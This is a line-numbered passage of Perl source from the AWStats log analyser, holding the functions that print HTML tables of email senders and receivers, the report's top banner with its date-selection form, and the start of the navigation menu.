        print "$Center<a name=\"emailsenders\">&nbsp;</a><br />\n";
 
9409
        my $title;
 
9410
        if ( $HTMLOutput{'allemails'} || $HTMLOutput{'lastemails'} ) {
 
9411
                $title = "$Message[131]";
 
9412
        }
 
9413
        else {
 
9414
                $title =
 
9415
"$Message[131] ($Message[77] $MaxNbOf{'EMailsShown'}) &nbsp; - &nbsp; <a href=\""
 
9416
                  . (
 
9417
                        $ENV{'GATEWAY_INTERFACE'}
 
9418
                          || !$StaticLinks
 
9419
                        ? XMLEncode("$AWScript${NewLinkParams}output=allemails")
 
9420
                        : "$StaticLinks.allemails.$StaticExt"
 
9421
                  )
 
9422
                  . "\"$NewLinkTarget>$Message[80]</a>";
 
9423
                if ( $ShowEMailSenders =~ /L/i ) {
 
9424
                        $title .= " &nbsp; - &nbsp; <a href=\""
 
9425
                          . (
 
9426
                                $ENV{'GATEWAY_INTERFACE'}
 
9427
                                  || !$StaticLinks
 
9428
                                ? XMLEncode("$AWScript${NewLinkParams}output=lastemails")
 
9429
                                : "$StaticLinks.lastemails.$StaticExt"
 
9430
                          )
 
9431
                          . "\"$NewLinkTarget>$Message[9]</a>";
 
9432
                }
 
9433
        }
 
9434
        &tab_head( "$title", 19, 0, 'emailsenders' );
 
9435
        print
 
9436
"<tr bgcolor=\"#$color_TableBGRowTitle\"><th colspan=\"3\">$Message[131] : "
 
9437
          . ( scalar keys %_emails_h ) . "</th>";
 
9438
        if ( $ShowEMailSenders =~ /H/i ) {
 
9439
                print "<th rowspan=\"2\" bgcolor=\"#$color_h\" width=\"80\""
 
9440
                  . Tooltip(4)
 
9441
                  . ">$Message[57]</th>";
 
9442
        }
 
9443
        if ( $ShowEMailSenders =~ /B/i ) {
 
9444
                print
 
9445
"<th class=\"datasize\" rowspan=\"2\" bgcolor=\"#$color_k\" width=\"80\""
 
9446
                  . Tooltip(5)
 
9447
                  . ">$Message[75]</th>";
 
9448
        }
 
9449
        if ( $ShowEMailSenders =~ /M/i ) {
 
9450
                print
 
9451
"<th rowspan=\"2\" bgcolor=\"#$color_k\" width=\"80\">$Message[106]</th>";
 
9452
        }
 
9453
        if ( $ShowEMailSenders =~ /L/i ) {
 
9454
                print "<th rowspan=\"2\" width=\"120\">$Message[9]</th>";
 
9455
        }
 
9456
        print "</tr>\n";
 
9457
        print
 
9458
"<tr bgcolor=\"#$color_TableBGRowTitle\"><th width=\"30%\">Local</th><th>&nbsp;</th><th width=\"30%\">External</th></tr>";
 
9459
        $total_p = $total_h = $total_k = 0;
 
9460
        $max_h = 1;
 
9461
        foreach ( values %_emails_h ) {
 
9462
                if ( $_ > $max_h ) { $max_h = $_; }
 
9463
        }
 
9464
        $max_k = 1;
 
9465
        foreach ( values %_emails_k ) {
 
9466
                if ( $_ > $max_k ) { $max_k = $_; }
 
9467
        }
 
9468
        my $count = 0;
 
9469
        if ( !$HTMLOutput{'allemails'} && !$HTMLOutput{'lastemails'} ) {
 
9470
                &BuildKeyList( $MaxNbOf{'EMailsShown'}, $MinHit{'EMail'}, \%_emails_h,
 
9471
                        \%_emails_h );
 
9472
        }
 
9473
        if ( $HTMLOutput{'allemails'} ) {
 
9474
                &BuildKeyList( $MaxRowsInHTMLOutput, $MinHit{'EMail'}, \%_emails_h,
 
9475
                        \%_emails_h );
 
9476
        }
 
9477
        if ( $HTMLOutput{'lastemails'} ) {
 
9478
                &BuildKeyList( $MaxRowsInHTMLOutput, $MinHit{'EMail'}, \%_emails_h,
 
9479
                        \%_emails_l );
 
9480
        }
 
9481
        foreach my $key (@keylist) {
 
9482
                my $newkey = $key;
 
9483
                if ( length($key) > $MaxLengthOfShownEMail ) {
 
9484
                        $newkey = substr( $key, 0, $MaxLengthOfShownEMail ) . "...";
 
9485
                }
 
9486
                my $bredde_h = 0;
 
9487
                my $bredde_k = 0;
 
9488
                if ( $max_h > 0 ) {
 
9489
                        $bredde_h = int( $BarWidth * $_emails_h{$key} / $max_h ) + 1;
 
9490
                }
 
9491
                if ( $max_k > 0 ) {
 
9492
                        $bredde_k = int( $BarWidth * $_emails_k{$key} / $max_k ) + 1;
 
9493
                }
 
9494
                print "<tr>";
 
9495
                my $direction = IsLocalEMail($key);
 
9496
 
 
9497
                if ( $direction > 0 ) {
 
9498
                        print "<td class=\"aws\">$newkey</td><td>-&gt;</td><td>&nbsp;</td>";
 
9499
                }
 
9500
                if ( $direction == 0 ) {
 
9501
                        print
 
9502
"<td colspan=\"3\"><span style=\"color: #$color_other\">$newkey</span></td>";
 
9503
                }
 
9504
                if ( $direction < 0 ) {
 
9505
                        print "<td class=\"aws\">&nbsp;</td><td>&lt;-</td><td>$newkey</td>";
 
9506
                }
 
9507
                if ( $ShowEMailSenders =~ /H/i ) { print "<td>$_emails_h{$key}</td>"; }
 
9508
                if ( $ShowEMailSenders =~ /B/i ) {
 
9509
                        print "<td nowrap=\"nowrap\">"
 
9510
                          . Format_Bytes( $_emails_k{$key} ) . "</td>";
 
9511
                }
 
9512
                if ( $ShowEMailSenders =~ /M/i ) {
 
9513
                        print "<td nowrap=\"nowrap\">"
 
9514
                          . Format_Bytes( $_emails_k{$key} / ( $_emails_h{$key} || 1 ) )
 
9515
                          . "</td>";
 
9516
                }
 
9517
                if ( $ShowEMailSenders =~ /L/i ) {
 
9518
                        print "<td nowrap=\"nowrap\">"
 
9519
                          . ( $_emails_l{$key} ? Format_Date( $_emails_l{$key}, 1 ) : '-' )
 
9520
                          . "</td>";
 
9521
                }
 
9522
                print "</tr>\n";
 
9523
 
 
9524
                #$total_p += $_emails_p{$key};
 
9525
                $total_h += $_emails_h{$key};
 
9526
                $total_k += $_emails_k{$key};
 
9527
                $count++;
 
9528
        }
 
9529
        $rest_p = 0;                        # $rest_p=$TotalPages-$total_p;
 
9530
        $rest_h = $TotalHits - $total_h;
 
9531
        $rest_k = $TotalBytes - $total_k;
 
9532
        if ( $rest_p > 0 || $rest_h > 0 || $rest_k > 0 ) { # All other sender emails
 
9533
                print
 
9534
"<tr><td colspan=\"3\"><span style=\"color: #$color_other\">$Message[2]</span></td>";
 
9535
                if ( $ShowEMailSenders =~ /H/i ) { print "<td>$rest_h</td>"; }
 
9536
                if ( $ShowEMailSenders =~ /B/i ) {
 
9537
                        print "<td nowrap=\"nowrap\">" . Format_Bytes($rest_k) . "</td>";
 
9538
                }
 
9539
                if ( $ShowEMailSenders =~ /M/i ) {
 
9540
                        print "<td nowrap=\"nowrap\">"
 
9541
                          . Format_Bytes( $rest_k / ( $rest_h || 1 ) ) . "</td>";
 
9542
                }
 
9543
                if ( $ShowEMailSenders =~ /L/i ) { print "<td>&nbsp;</td>"; }
 
9544
                print "</tr>\n";
 
9545
        }
 
9546
        &tab_end();
 
9547
}
 
9548
 
 
9549
#------------------------------------------------------------------------------
 
9550
# Function:     Prints HTML to display an email receivers chart
 
9551
# Parameters:   -
 
9552
# Input:        $NewLinkParams, NewLinkTarget
 
9553
# Output:       HTML
 
9554
# Return:       -
 
9555
#------------------------------------------------------------------------------
 
9556
sub HTMLShowEmailReceiversChart {
 
9557
        my $NewLinkParams         = shift;
 
9558
        my $NewLinkTarget         = shift;
 
9559
        my $MaxLengthOfShownEMail = 48;
 
9560
 
 
9561
        my $total_p;
 
9562
        my $total_h;
 
9563
        my $total_k;
 
9564
        my $max_p;
 
9565
        my $max_h;
 
9566
        my $max_k;
 
9567
        my $rest_p;
 
9568
        my $rest_h;
 
9569
        my $rest_k;
 
9570
 
 
9571
        # Show filter form
 
9572
        #&ShowFormFilter("emailrfilter",$EmailrFilter);
 
9573
        # Show emails list
 
9574
 
 
9575
        print "$Center<a name=\"emailreceivers\">&nbsp;</a><br />\n";
 
9576
        my $title;
 
9577
        if ( $HTMLOutput{'allemailr'} || $HTMLOutput{'lastemailr'} ) {
 
9578
                $title = "$Message[132]";
 
9579
        }
 
9580
        else {
 
9581
                $title =
 
9582
"$Message[132] ($Message[77] $MaxNbOf{'EMailsShown'}) &nbsp; - &nbsp; <a href=\""
 
9583
                  . (
 
9584
                        $ENV{'GATEWAY_INTERFACE'}
 
9585
                          || !$StaticLinks
 
9586
                        ? XMLEncode("$AWScript${NewLinkParams}output=allemailr")
 
9587
                        : "$StaticLinks.allemailr.$StaticExt"
 
9588
                  )
 
9589
                  . "\"$NewLinkTarget>$Message[80]</a>";
 
9590
                if ( $ShowEMailReceivers =~ /L/i ) {
 
9591
                        $title .= " &nbsp; - &nbsp; <a href=\""
 
9592
                          . (
 
9593
                                $ENV{'GATEWAY_INTERFACE'}
 
9594
                                  || !$StaticLinks
 
9595
                                ? XMLEncode("$AWScript${NewLinkParams}output=lastemailr")
 
9596
                                : "$StaticLinks.lastemailr.$StaticExt"
 
9597
                          )
 
9598
                          . "\"$NewLinkTarget>$Message[9]</a>";
 
9599
                }
 
9600
        }
 
9601
        &tab_head( "$title", 19, 0, 'emailreceivers' );
 
9602
        print
 
9603
"<tr bgcolor=\"#$color_TableBGRowTitle\"><th colspan=\"3\">$Message[132] : "
 
9604
          . ( scalar keys %_emailr_h ) . "</th>";
 
9605
        if ( $ShowEMailReceivers =~ /H/i ) {
 
9606
                print "<th rowspan=\"2\" bgcolor=\"#$color_h\" width=\"80\""
 
9607
                  . Tooltip(4)
 
9608
                  . ">$Message[57]</th>";
 
9609
        }
 
9610
        if ( $ShowEMailReceivers =~ /B/i ) {
 
9611
                print
 
9612
"<th class=\"datasize\" rowspan=\"2\" bgcolor=\"#$color_k\" width=\"80\""
 
9613
                  . Tooltip(5)
 
9614
                  . ">$Message[75]</th>";
 
9615
        }
 
9616
        if ( $ShowEMailReceivers =~ /M/i ) {
 
9617
                print
 
9618
"<th rowspan=\"2\" bgcolor=\"#$color_k\" width=\"80\">$Message[106]</th>";
 
9619
        }
 
9620
        if ( $ShowEMailReceivers =~ /L/i ) {
 
9621
                print "<th rowspan=\"2\" width=\"120\">$Message[9]</th>";
 
9622
        }
 
9623
        print "</tr>\n";
 
9624
        print
 
9625
"<tr bgcolor=\"#$color_TableBGRowTitle\"><th width=\"30%\">Local</th><th>&nbsp;</th><th width=\"30%\">External</th></tr>";
 
9626
        $total_p = $total_h = $total_k = 0;
 
9627
        $max_h = 1;
 
9628
        foreach ( values %_emailr_h ) {
 
9629
                if ( $_ > $max_h ) { $max_h = $_; }
 
9630
        }
 
9631
        $max_k = 1;
 
9632
        foreach ( values %_emailr_k ) {
 
9633
                if ( $_ > $max_k ) { $max_k = $_; }
 
9634
        }
 
9635
        my $count = 0;
 
9636
        if ( !$HTMLOutput{'allemailr'} && !$HTMLOutput{'lastemailr'} ) {
 
9637
                &BuildKeyList( $MaxNbOf{'EMailsShown'}, $MinHit{'EMail'}, \%_emailr_h,
 
9638
                        \%_emailr_h );
 
9639
        }
 
9640
        if ( $HTMLOutput{'allemailr'} ) {
 
9641
                &BuildKeyList( $MaxRowsInHTMLOutput, $MinHit{'EMail'}, \%_emailr_h,
 
9642
                        \%_emailr_h );
 
9643
        }
 
9644
        if ( $HTMLOutput{'lastemailr'} ) {
 
9645
                &BuildKeyList( $MaxRowsInHTMLOutput, $MinHit{'EMail'}, \%_emailr_h,
 
9646
                        \%_emailr_l );
 
9647
        }
 
9648
        foreach my $key (@keylist) {
 
9649
                my $newkey = $key;
 
9650
                if ( length($key) > $MaxLengthOfShownEMail ) {
 
9651
                        $newkey = substr( $key, 0, $MaxLengthOfShownEMail ) . "...";
 
9652
                }
 
9653
                my $bredde_h = 0;
 
9654
                my $bredde_k = 0;
 
9655
                if ( $max_h > 0 ) {
 
9656
                        $bredde_h = int( $BarWidth * $_emailr_h{$key} / $max_h ) + 1;
 
9657
                }
 
9658
                if ( $max_k > 0 ) {
 
9659
                        $bredde_k = int( $BarWidth * $_emailr_k{$key} / $max_k ) + 1;
 
9660
                }
 
9661
                print "<tr>";
 
9662
                my $direction = IsLocalEMail($key);
 
9663
 
 
9664
                if ( $direction > 0 ) {
 
9665
                        print "<td class=\"aws\">$newkey</td><td>&lt;-</td><td>&nbsp;</td>";
 
9666
                }
 
9667
                if ( $direction == 0 ) {
 
9668
                        print
 
9669
"<td colspan=\"3\"><span style=\"color: #$color_other\">$newkey</span></td>";
 
9670
                }
 
9671
                if ( $direction < 0 ) {
 
9672
                        print "<td class=\"aws\">&nbsp;</td><td>-&gt;</td><td>$newkey</td>";
 
9673
                }
 
9674
                if ( $ShowEMailReceivers =~ /H/i ) {
 
9675
                        print "<td>$_emailr_h{$key}</td>";
 
9676
                }
 
9677
                if ( $ShowEMailReceivers =~ /B/i ) {
 
9678
                        print "<td nowrap=\"nowrap\">"
 
9679
                          . Format_Bytes( $_emailr_k{$key} ) . "</td>";
 
9680
                }
 
9681
                if ( $ShowEMailReceivers =~ /M/i ) {
 
9682
                        print "<td nowrap=\"nowrap\">"
 
9683
                          . Format_Bytes( $_emailr_k{$key} / ( $_emailr_h{$key} || 1 ) )
 
9684
                          . "</td>";
 
9685
                }
 
9686
                if ( $ShowEMailReceivers =~ /L/i ) {
 
9687
                        print "<td nowrap=\"nowrap\">"
 
9688
                          . ( $_emailr_l{$key} ? Format_Date( $_emailr_l{$key}, 1 ) : '-' )
 
9689
                          . "</td>";
 
9690
                }
 
9691
                print "</tr>\n";
 
9692
 
 
9693
                #$total_p += $_emailr_p{$key};
 
9694
                $total_h += $_emailr_h{$key};
 
9695
                $total_k += $_emailr_k{$key};
 
9696
                $count++;
 
9697
        }
 
9698
        $rest_p = 0;                        # $rest_p=$TotalPages-$total_p;
 
9699
        $rest_h = $TotalHits - $total_h;
 
9700
        $rest_k = $TotalBytes - $total_k;
 
9701
        if ( $rest_p > 0 || $rest_h > 0 || $rest_k > 0 )
 
9702
        {                                   # All other receiver emails
 
9703
                print
 
9704
"<tr><td colspan=\"3\"><span style=\"color: #$color_other\">$Message[2]</span></td>";
 
9705
                if ( $ShowEMailReceivers =~ /H/i ) { print "<td>$rest_h</td>"; }
 
9706
                if ( $ShowEMailReceivers =~ /B/i ) {
 
9707
                        print "<td nowrap=\"nowrap\">" . Format_Bytes($rest_k) . "</td>";
 
9708
                }
 
9709
                if ( $ShowEMailReceivers =~ /M/i ) {
 
9710
                        print "<td nowrap=\"nowrap\">"
 
9711
                          . Format_Bytes( $rest_k / ( $rest_h || 1 ) ) . "</td>";
 
9712
                }
 
9713
                if ( $ShowEMailReceivers =~ /L/i ) { print "<td>&nbsp;</td>"; }
 
9714
                print "</tr>\n";
 
9715
        }
 
9716
        &tab_end();
 
9717
}
 
9718
 
 
9719
#------------------------------------------------------------------------------
 
9720
# Function:     Prints the top banner of the inner frame or static page
 
9721
# Parameters:   $WIDTHMENU1
 
9722
# Input:        _
 
9723
# Output:       HTML
 
9724
# Return:       -
 
9725
#------------------------------------------------------------------------------
 
9726
sub HTMLTopBanner{
 
9727
        my $WIDTHMENU1 = shift;
 
9728
        my $frame = ( $FrameName eq 'mainleft' );
 
9729
 
 
9730
        if ($Debug) { debug( "ShowTopBan", 2 ); }
 
9731
        print "$Center<a name=\"menu\">&nbsp;</a>\n";
 
9732
 
 
9733
        if ( $FrameName ne 'mainleft' ) {
 
9734
                my $NewLinkParams = ${QueryString};
 
9735
                $NewLinkParams =~ s/(^|&|&amp;)update(=\w*|$)//i;
 
9736
                $NewLinkParams =~ s/(^|&|&amp;)staticlinks(=\w*|$)//i;
 
9737
                $NewLinkParams =~ s/(^|&|&amp;)year=[^&]*//i;
 
9738
                $NewLinkParams =~ s/(^|&|&amp;)month=[^&]*//i;
 
9739
                $NewLinkParams =~ s/(^|&|&amp;)framename=[^&]*//i;
 
9740
                $NewLinkParams =~ s/(&amp;|&)+/&amp;/i;
 
9741
                $NewLinkParams =~ s/^&amp;//;
 
9742
                $NewLinkParams =~ s/&amp;$//;
 
9743
                my $NewLinkTarget = '';
 
9744
 
 
9745
                if ( $FrameName eq 'mainright' ) {
 
9746
                        $NewLinkTarget = " target=\"_parent\"";
 
9747
                }
 
9748
                print "<form name=\"FormDateFilter\" action=\""
 
9749
                  . XMLEncode("$AWScript${NewLinkParams}")
 
9750
                  . "\" style=\"padding: 0px 0px 0px 0px; margin-top: 0\"$NewLinkTarget>\n";
 
9751
        }
 
9752
 
 
9753
        if ( $QueryString !~ /buildpdf/i ) {
 
9754
                print
 
9755
"<table class=\"aws_border\" border=\"0\" cellpadding=\"2\" cellspacing=\"0\" width=\"100%\">\n";
 
9756
                print "<tr><td>\n";
 
9757
                print
 
9758
"<table class=\"aws_data sortable\" border=\"0\" cellpadding=\"1\" cellspacing=\"0\" width=\"100%\">\n";
 
9759
        }
 
9760
        else {
 
9761
                print "<table width=\"100%\">\n";
 
9762
        }
 
9763
 
 
9764
        if ( $FrameName ne 'mainright' ) {
 
9765
 
 
9766
                # Print Statistics Of
 
9767
                if ( $FrameName eq 'mainleft' ) {
 
9768
                        my $shortSiteDomain = $SiteDomain;
 
9769
                        if ( length($SiteDomain) > 30 ) {
 
9770
                                $shortSiteDomain =
 
9771
                                    substr( $SiteDomain, 0, 20 ) . "..."
 
9772
                                  . substr( $SiteDomain, length($SiteDomain) - 5, 5 );
 
9773
                        }
 
9774
                        print
 
9775
"<tr><td class=\"awsm\"><b>$Message[7]:</b></td></tr><tr><td class=\"aws\"><span style=\"font-size: 12px;\">$shortSiteDomain</span></td>";
 
9776
                }
 
9777
                else {
 
9778
                        print
 
9779
"<tr><td class=\"aws\" valign=\"middle\"><b>$Message[7]:</b>&nbsp;</td><td class=\"aws\" valign=\"middle\"><span style=\"font-size: 14px;\">$SiteDomain</span></td>";
 
9780
                }
 
9781
 
 
9782
                # Logo and flags
 
9783
                if ( $FrameName ne 'mainleft' ) {
 
9784
                        if ( $LogoLink =~ "http://awstats.sourceforge.net" ) {
 
9785
                                print "<td align=\"right\" rowspan=\"3\"><a href=\""
 
9786
                                  . XMLEncode($LogoLink)
 
9787
                                  . "\" target=\"awstatshome\"><img src=\"$DirIcons/other/$Logo\" border=\"0\""
 
9788
                                  . AltTitle( ucfirst($PROG) . " Web Site" )
 
9789
                                  . " /></a>";
 
9790
                        }
 
9791
                        else {
 
9792
                                print "<td align=\"right\" rowspan=\"3\"><a href=\""
 
9793
                                  . XMLEncode($LogoLink)
 
9794
                                  . "\" target=\"awstatshome\"><img src=\"$DirIcons/other/$Logo\" border=\"0\" /></a>";
 
9795
                        }
 
9796
                        if ( !$StaticLinks ) { print "<br />"; Show_Flag_Links($Lang); }
 
9797
                        print "</td>";
 
9798
                }
 
9799
                print "</tr>\n";
 
9800
        }
 
9801
        if ( $FrameName ne 'mainleft' ) {
 
9802
 
 
9803
                # Print Last Update
 
9804
                print
 
9805
"<tr valign=\"middle\"><td class=\"aws\" valign=\"middle\" width=\"$WIDTHMENU1\"><b>$Message[35]:</b>&nbsp;</td>";
 
9806
                print
 
9807
"<td class=\"aws\" valign=\"middle\"><span style=\"font-size: 12px;\">";
 
9808
                if ($LastUpdate) { print Format_Date( $LastUpdate, 0 ); }
 
9809
                else {
 
9810
 
 
9811
                        # Here NbOfOldLines = 0 (because LastUpdate is not defined)
 
9812
                        if ( !$UpdateStats ) {
 
9813
                                print "<span style=\"color: #880000\">$Message[24]</span>";
 
9814
                        }
 
9815
                        else {
 
9816
                                print
 
9817
 "<span style=\"color: #880000\">No qualified records found in log 
 
9818
 ($NbOfLinesCorrupted corrupted, $NbOfLinesComment comments, $NbOfLinesBlank Blank, 
 
9819
 $NbOfLinesDropped dropped)</span>";
 
9820
                        }
 
9821
                }
 
9822
                print "</span>";
 
9823
 
 
9824
                # Print Update Now link
 
9825
                if ( $AllowToUpdateStatsFromBrowser && !$StaticLinks ) {
 
9826
                        my $NewLinkParams = ${QueryString};
 
9827
                        $NewLinkParams =~ s/(^|&|&amp;)update(=\w*|$)//i;
 
9828
                        $NewLinkParams =~ s/(^|&|&amp;)staticlinks(=\w*|$)//i;
 
9829
                        $NewLinkParams =~ s/(^|&|&amp;)framename=[^&]*//i;
 
9830
                        if ( $FrameName eq 'mainright' ) {
 
9831
                                $NewLinkParams .= "&amp;framename=mainright";
 
9832
                        }
 
9833
                        $NewLinkParams =~ s/(&amp;|&)+/&amp;/i;
 
9834
                        $NewLinkParams =~ s/^&amp;//;
 
9835
                        $NewLinkParams =~ s/&amp;$//;
 
9836
                        if ($NewLinkParams) {
 
9837
                                $NewLinkParams = "${NewLinkParams}&amp;";
 
9838
                        }
 
9839
                        print "&nbsp; &nbsp; &nbsp; &nbsp;";
 
9840
                        print "<a href=\""
 
9841
                          . XMLEncode("$AWScript${NewLinkParams}update=1")
 
9842
                          . "\">$Message[74]</a>";
 
9843
                }
 
9844
                print "</td>";
 
9845
 
 
9846
                # Logo and flags
 
9847
                if ( $FrameName eq 'mainright' ) {
 
9848
                        if ( $LogoLink =~ "http://awstats.sourceforge.net" ) {
 
9849
                                print "<td align=\"right\" rowspan=\"2\"><a href=\""
 
9850
                                  . XMLEncode($LogoLink)
 
9851
                                  . "\" target=\"awstatshome\"><img src=\"$DirIcons/other/$Logo\" border=\"0\""
 
9852
                                  . AltTitle( ucfirst($PROG) . " Web Site" )
 
9853
                                  . " /></a>\n";
 
9854
                        }
 
9855
                        else {
 
9856
                                print "<td align=\"right\" rowspan=\"2\"><a href=\""
 
9857
                                  . XMLEncode($LogoLink)
 
9858
                                  . "\" target=\"awstatshome\"><img src=\"$DirIcons/other/$Logo\" border=\"0\" /></a>\n";
 
9859
                        }
 
9860
                        if ( !$StaticLinks ) { print "<br />"; Show_Flag_Links($Lang); }
 
9861
                        print "</td>";
 
9862
                }
 
9863
 
 
9864
                print "</tr>\n";
 
9865
 
 
9866
                # Print selected period of analysis (month and year required)
 
9867
                print
 
9868
"<tr><td class=\"aws\" valign=\"middle\"><b>$Message[133]:</b></td>";
 
9869
                print "<td class=\"aws\" valign=\"middle\">";
 
9870
                if ( $ENV{'GATEWAY_INTERFACE'} || !$StaticLinks ) {
 
9871
                        print "<select class=\"aws_formfield\" name=\"month\">\n";
 
9872
                        foreach ( 1 .. 12 ) {
 
9873
                                my $monthix = sprintf( "%02s", $_ );
 
9874
                                print "<option"
 
9875
                                  . (
 
9876
                                          "$MonthRequired" eq "$monthix"
 
9877
                                        ? " selected=\"true\""
 
9878
                                        : ""
 
9879
                                  )
 
9880
                                  . " value=\"$monthix\">$MonthNumLib{$monthix}</option>\n";
 
9881
                        }
 
9882
                        if ( $AllowFullYearView >= 2 ) {
 
9883
                                print "<option"
 
9884
                                  . ( $MonthRequired eq 'all' ? " selected=\"selected\"" : "" )
 
9885
                                  . " value=\"all\">- $Message[6] -</option>\n";
 
9886
                        }
 
9887
                        print "</select>\n";
 
9888
                        print "<select class=\"aws_formfield\" name=\"year\">\n";
 
9889
 
 
9890
                        # Add YearRequired in list if not in ListOfYears
 
9891
                        $ListOfYears{$YearRequired} ||= $MonthRequired;
 
9892
                        foreach ( sort keys %ListOfYears ) {
 
9893
                                print "<option"
 
9894
                                  . ( $YearRequired eq "$_" ? " selected=\"selected\"" : "" )
 
9895
                                  . " value=\"$_\">$_</option>\n";
 
9896
                        }
 
9897
                        print "</select>\n";
 
9898
                        print "<input type=\"hidden\" name=\"output\" value=\""
 
9899
                          . join( ',', keys %HTMLOutput )
 
9900
                          . "\" />\n";
 
9901
                        if ($SiteConfig) {
 
9902
                                print
 
9903
"<input type=\"hidden\" name=\"config\" value=\"$SiteConfig\" />\n";
 
9904
                        }
 
9905
                        if ($DirConfig) {
 
9906
                                print
 
9907
"<input type=\"hidden\" name=\"configdir\" value=\"$DirConfig\" />\n";
 
9908
                        }
 
9909
                        if ( $QueryString =~ /lang=(\w+)/i ) {
 
9910
                                print
 
9911
                                  "<input type=\"hidden\" name=\"lang\" value=\"$1\" />\n";
 
9912
                        }
 
9913
                        if ( $QueryString =~ /debug=(\d+)/i ) {
 
9914
                                print
 
9915
                                  "<input type=\"hidden\" name=\"debug\" value=\"$1\" />\n";
 
9916
                        }
 
9917
                        if ( $FrameName eq 'mainright' ) {
 
9918
                                print
 
9919
"<input type=\"hidden\" name=\"framename\" value=\"index\" />\n";
 
9920
                        }
 
9921
                        print
 
9922
"<input type=\"submit\" value=\" $Message[115] \" class=\"aws_button\" />";
 
9923
                }
 
9924
                else {
 
9925
                        print "<span style=\"font-size: 14px;\">";
 
9926
                        if ($DayRequired) { print "$Message[4] $DayRequired - "; }
 
9927
                        if ( $MonthRequired eq 'all' ) {
 
9928
                                print "$Message[6] $YearRequired";
 
9929
                        }
 
9930
                        else {
 
9931
                                print
 
9932
                                  "$Message[5] $MonthNumLib{$MonthRequired} $YearRequired";
 
9933
                        }
 
9934
                        print "</span>";
 
9935
                }
 
9936
                print "</td></tr>\n";
 
9937
        }
 
9938
        if ( $QueryString !~ /buildpdf/i ) {
 
9939
                print "</table>\n";
 
9940
                print "</td></tr></table>\n";
 
9941
        }
 
9942
        else {
 
9943
                print "</table>\n";
 
9944
        }
 
9945
 
 
9946
        if ( $FrameName ne 'mainleft' ) { print "</form>\n"; }
 
9947
        else { print "<br />\n"; }
 
9948
        print "\n";
 
9949
}
 
9950
 
 
9951
#------------------------------------------------------------------------------
 
9952
# Function:     Prints the menu in a frame or below the top banner
 
9953
# Parameters:   _
 
9954
# Input:        _
 
9955
# Output:       HTML
 
9956
# Return:       -
 
9957
#------------------------------------------------------------------------------
 
9958
sub HTMLMenu{
 
9959
        my $NewLinkParams = shift;
 
9960
        my $NewLinkTarget = shift;
 
9961
        my $frame = ( $FrameName eq 'mainleft' );
 
9962
 
 
9963
        if ($Debug) { debug( "ShowMenu", 2 ); }
 
9964
 
 
9965
        # Print menu links
 
9966
        if ( ( $HTMLOutput{'main'} && $FrameName ne 'mainright' )
 
9967
                || $FrameName eq 'mainleft' )
 
9968
        {    # If main page asked
 
9969
                    # Define link anchor
 
9970
                my $linkanchor =
 
9971
                  ( $FrameName eq 'mainleft' ? "$AWScript${NewLinkParams}" : "" );
 
9972
                if ( $linkanchor && ( $linkanchor !~ /framename=mainright/ ) ) {
 
9973
                        $linkanchor .= "framename=mainright";
 
9974
                }
 
9975
                $linkanchor =~ s/(&|&amp;)$//;
 
9976
                $linkanchor = XMLEncode("$linkanchor");
 
9977
 
 
9978
                # Define target
 
9979
                my $targetpage =
 
9980
                  ( $FrameName eq 'mainleft' ? " target=\"mainright\"" : "" );
 
9981
 
 
9982
                # Print Menu
 
9983
                my $linetitle;    # TODO a virer
 
9984
                if ( !$PluginsLoaded{'ShowMenu'}{'menuapplet'} ) {
 
9985
                        my $menuicon = 0;    # TODO a virer
 
9986
                                             # Menu HTML
 
9987
                        print "<table"
 
9988
                          . (
 
9989
                                $frame
 
9990
                                ? " cellspacing=\"0\" cellpadding=\"0\" border=\"0\""
 
9991
                                : ""
 
9992
                          )
 
9993
                          . ">\n";
 
9994
                        if ( $FrameName eq 'mainleft' && $ShowMonthStats ) {
 
9995
                                print( $frame? "<tr><td class=\"awsm\">" : "" );
 
9996
                                print
 
9997
"<a href=\"$linkanchor#top\"$targetpage>$Message[128]</a>";
 
9998
                                print( $frame? "</td></tr>\n" : " &nbsp; " );
 
9999
                        }
 
10000
                        my %menu     = ();
 
10001
                        my %menulink = ();
 
10002
                        my %menutext = ();
 
10003
 
 
10004
                        # When
 
10005
                        %menu = (
 
10006
                                'month'       => $ShowMonthStats       ? 1 : 0,
 
10007
                                'daysofmonth' => $ShowDaysOfMonthStats ? 2 : 0,
 
10008
                                'daysofweek'  => $ShowDaysOfWeekStats  ? 3 : 0,
 
10009
                                'hours'       => $ShowHoursStats       ? 4 : 0
 
10010
                        );
 
10011
                        %menulink = (
 
10012
                                'month'       => 1,
 
10013
                                'daysofmonth' => 1,
 
10014
                                'daysofweek'  => 1,
 
10015
                                'hours'       => 1
 
10016
                        );
 
10017
                        %menutext = (
 
10018
                                'month'       => $Message[162],
 
10019
                                'daysofmonth' => $Message[138],
 
10020
                                'daysofweek'  => $Message[91],
 
10021
                                'hours'       => $Message[20]
 
10022
                        );
 
10023
                        HTMLShowMenuCateg(
 
10024
                                'when',         $Message[93],
 
10025
                                'menu4.png',    $frame,
 
10026
                                $targetpage,    $linkanchor,
 
10027
                                $NewLinkParams, $NewLinkTarget,
 
10028
                                \%menu,         \%menulink,
 
10029
                                \%menutext
 
10030
                        );
 
10031
 
 
10032
                        # Who
 
10033
                        %menu = (
 
10034
                                'countries'  => $ShowDomainsStats ? 1 : 0,
 
10035
                                'alldomains' => $ShowDomainsStats ? 2 : 0,
 
10036
                                'visitors'   => $ShowHostsStats   ? 3 : 0,
 
10037
                                'allhosts'   => $ShowHostsStats   ? 4 : 0,
 
10038
                                'lasthosts' => ( $ShowHostsStats =~ /L/i ) ? 5 : 0,
 
10039
                                'unknownip' => $ShowHostsStats         ? 6 : 0,
 
10040
                                'logins'    => $ShowAuthenticatedUsers ? 7 : 0,
 
10041
                                'alllogins' => $ShowAuthenticatedUsers ? 8 : 0,
 
10042
                                'lastlogins' => ( $ShowAuthenticatedUsers =~ /L/i ) ? 9 : 0,
 
10043
                                'emailsenders' => $ShowEMailSenders ? 10 : 0,
 
10044
                                'allemails'    => $ShowEMailSenders ? 11 : 0,
 
10045
                                'lastemails' => ( $ShowEMailSenders =~ /L/i ) ? 12 : 0,
 
10046
                                'emailreceivers' => $ShowEMailReceivers ? 13 : 0,
 
10047
                                'allemailr'      => $ShowEMailReceivers ? 14 : 0,
 
10048
                                'lastemailr' => ( $ShowEMailReceivers =~ /L/i ) ? 15 : 0,
 
10049
                                'robots'    => $ShowRobotsStats ? 16 : 0,
 
10050
                                'allrobots' => $ShowRobotsStats ? 17 : 0,
 
10051
                                'lastrobots' => ( $ShowRobotsStats =~ /L/i ) ? 18 : 0,
 
10052
                                'worms' => $ShowWormsStats ? 19 : 0
 
10053
                        );
 
10054
                        %menulink = (
 
10055
                                'countries'      => 1,
